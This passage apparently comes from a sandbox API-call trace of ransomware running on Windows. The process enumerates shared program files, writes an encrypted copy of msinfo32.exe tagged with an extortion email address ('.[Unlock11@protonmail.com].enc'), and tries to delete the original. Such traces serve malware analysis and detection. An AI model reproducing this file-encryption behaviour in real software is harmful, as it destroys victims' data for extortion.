0x3881060 [0198.989] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0198.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1ee0 | out: hHeap=0x2ad0000) returned 1 [0198.990] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0199.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0199.000] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0199.000] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2930 | out: hHeap=0x2ad0000) returned 1 [0199.000] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\TabTip32.exe.mui" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\tabtip32.exe.mui")) returned 0x20 [0199.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0199.001] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x33eabc0 [0199.001] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0199.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2510 | out: hHeap=0x2ad0000) returned 1 [0199.001] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0199.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2098 | out: hHeap=0x2ad0000) returned 1 [0199.002] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\InkObj.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\InkObj.dll.mui", lpFilePart=0x9bada4*="InkObj.dll.mui") returned 0x4d [0199.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0199.002] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\micaut.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\micaut.dll.mui", lpFilePart=0x9bada4*="micaut.dll.mui") returned 0x4d [0199.002] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\mshwLatin.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\mshwLatin.dll.mui", lpFilePart=0x9bada4*="mshwLatin.dll.mui") returned 0x50 [0199.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0199.002] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\rtscom.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\rtscom.dll.mui", lpFilePart=0x9bada4*="rtscom.dll.mui") returned 0x4d [0199.003] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\TabTip32.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\TabTip32.exe.mui", lpFilePart=0x9bada4*="TabTip32.exe.mui") returned 0x4f [0199.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0199.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0199.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0199.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0199.003] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\TipRes.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\TipRes.dll.mui", lpFilePart=0x9bada4*="TipRes.dll.mui") returned 0x4d [0199.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.003] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\TipTsf.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\TipTsf.dll.mui", lpFilePart=0x9bada4*="TipTsf.dll.mui") returned 0x4d [0199.004] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\HWRCustomization\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f87c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0199.004] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f87c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.004] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f87c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0199.004] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0199.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eabc0 | out: hHeap=0x2ad0000) returned 1 [0199.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0199.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0199.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0199.005] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSEnv\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f74d0 [0199.005] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.005] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 1 [0199.005] FindNextFileA (in: hFindFile=0x10f74d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 0 [0199.005] FindClose (in: hFindFile=0x10f74d0 | out: hFindFile=0x10f74d0) returned 1 [0199.006] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSEnv\\PublicAssemblies" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\publicassemblies")) returned 0x10 [0199.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0199.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0199.007] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSEnv\\PublicAssemblies\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f79d0 [0199.007] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.007] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3240, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="extensibility.dll", cAlternateFileName="EXTENS~1.DLL")) returned 1 [0199.007] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3240, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="extensibility.dll", cAlternateFileName="EXTENS~1.DLL")) returned 0 [0199.008] FindClose (in: hFindFile=0x10f79d0 | out: hFindFile=0x10f79d0) returned 1 [0199.008] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSEnv\\PublicAssemblies\\extensibility.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msenv\\publicassemblies\\extensibility.dll")) returned 0x20 [0199.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0199.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0199.008] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSEnv\\PublicAssemblies\\extensibility.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSEnv\\PublicAssemblies\\extensibility.dll", lpFilePart=0x9bada4*="extensibility.dll") returned 0x5d [0199.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0199.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0199.009] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb76134e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0199.009] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb76134e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.009] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7621f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0199.009] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f4006c, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x16fbff39, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x47f4006c, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x52a00, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0199.009] FindNextFileA (in: hFindFile=0x10f7710, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f4006c, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x16fbff39, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x47f4006c, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x52a00, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0199.010] FindClose (in: hFindFile=0x10f7710 | out: hFindFile=0x10f7710) returned 1 [0199.010] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\en-us")) returned 0x10 [0199.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0199.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0199.010] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0199.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a20f0 | out: hHeap=0x2ad0000) returned 1 [0199.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0199.011] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe", lpFilePart=0x9bada4*="msinfo32.exe") returned 0x48 [0199.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0199.011] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f4006c, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x16fbff39, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x47f4006c, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x52a00)) returned 1 [0199.011] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36623f4 | out: pbBuffer=0x36623f4) returned 1 [0199.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0199.012] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.012] GetFileType (hFile=0x334) returned 0x1 [0199.012] GetFileType (hFile=0x334) returned 0x1 [0199.012] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.012] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.012] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.013] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.013] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.013] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.013] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.013] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\msinfo32.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.013] GetFileType (hFile=0x39c) returned 0x1 [0199.014] GetFileType (hFile=0x39c) returned 0x1 [0199.014] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.014] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.014] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.014] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.014] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.014] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.014] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.025] CloseHandle (hObject=0x39c) returned 1 [0199.026] CloseHandle (hObject=0x334) returned 1 [0199.026] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0 [0199.026] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7621f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7910 [0199.026] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7621f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.026] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40bda463, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x78f57a4e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x25839900, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0199.027] FindNextFileA (in: hFindFile=0x10f7910, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40bda463, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x78f57a4e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x25839900, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0199.027] FindClose (in: hFindFile=0x10f7910 | out: hFindFile=0x10f7910) returned 1 [0199.027] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0199.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0199.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0199.028] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui", lpFilePart=0x9bada4*="msinfo32.exe.mui") returned 0x52 [0199.028] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, 